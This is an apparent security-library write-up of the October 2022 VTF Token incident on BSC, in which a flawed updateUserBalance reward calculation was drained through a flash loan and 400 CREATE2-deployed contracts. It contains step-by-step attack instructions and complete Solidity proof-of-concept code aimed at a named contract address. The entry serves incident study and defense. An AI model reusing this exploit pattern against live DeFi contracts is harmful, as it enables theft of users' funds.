# VTF Token: incorrect reward calculation drained via repeated claims

VTF Token's updateUserBalance reward calculation was flawed, letting an attacker deploy 400 contracts, claim rewards repeatedly, and drain ~$50k via flash loan.

- Payout: Real-world hack
- Severity: high
- Program: VTF Token
- Analysis by: DeFiHackLabs
- Disclosed: 2022-10-27
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-10/VTF_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221027-vtf
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:accounting-error vuln:flash-loan vuln:reward-distribution

**Target:** VTF token reward contract on BSC
**Root cause:** The updateUserBalance function calculated rewards incorrectly, allowing repeated claims by newly deployed contracts that had not previously held tokens.
**Steps:**
1. Deploy 400 claimReward contracts via CREATE2 with different salts; each constructor calls `VTF.updateUserBalance(address(this))`.
2. Warp time forward 2 days to pass a time check.
3. Take a flash loan of 100,000 USDT from DODO.
4. Swap USDT to VTF via router `swapExactTokensForTokensSupportingFeeOnTransferTokens`.
5. Transfer all VTF to the first claimReward contract.
6. Loop through contracts calling `claim(address nextContract)` which calls `updateUserBalance` then transfers VTF balance to the next contract.
7. Final contract claims and sends VTF back to attacker.
8. Swap VTF back to USDT and repay flash loan.
**Exploitation:** Attacker used a DODO flash loan of 100k USDT to buy VTF, then distributed VTF across 400 pre-deployed contracts. Each contract's claim function called updateUserBalance, which incorrectly credited rewards, then transferred the VTF balance to the next contract. This loop amplified the token balance, which was swapped back for USDT, netting ~$50k profit.
**Escalation:** Chained multiple contracts to repeatedly trigger the flawed reward calculation, multiplying the payout.
**Insight:** Reward calculation functions that rely on current balance or time since last update can be gamed by deploying many fresh contracts and cycling tokens through them to repeatedly claim rewards.

## Proof of concept (copied exactly from the original report)

**Flash loan, deploy 400 claim contracts, chain claims**

```
function testExploit() public {
        contractFactory();
        // change time to pass time check
        cheat.warp(block.timestamp + 2 * 24 * 60 * 60);
        DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        USDTToVTF();
        VTF.transfer(contractList[0], VTF.balanceOf(address(this)));
        for (uint256 i = 0; i < contractList.length - 1; ++i) {
            (bool success,) = contractList[i].call(abi.encodeWithSignature("claim(address)", contractList[i + 1]));
            require(success);
        }
        uint256 index = contractList.length - 1;
        (bool success,) = contractList[index].call(abi.encodeWithSignature("claim(address)", address(this)));
        require(success);
        VTFToUSDT();
        USDT.transfer(dodo, 100_000 * 1e18);
    }
```

**claimReward contract calling updateUserBalance and transfer**

```
contract claimReward {
    IVTF VTF = IVTF(0xc6548caF18e20F88cC437a52B6D388b0D54d830D);

    constructor() {
        VTF.updateUserBalance(address(this));
    }

    function claim(
        address receiver
    ) external {
        VTF.updateUserBalance(address(this));
        VTF.transfer(receiver, VTF.balanceOf(address(this)));
    }
}
```

**create2 loop deploying 400 reward contracts**

```
function contractFactory() public {
        address _add;
        bytes memory bytecode = type(claimReward).creationCode;
        for (uint256 _salt = 0; _salt < 400; _salt++) {
            assembly {
                _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)
            }
            contractList.push(_add);
        }
    }
```

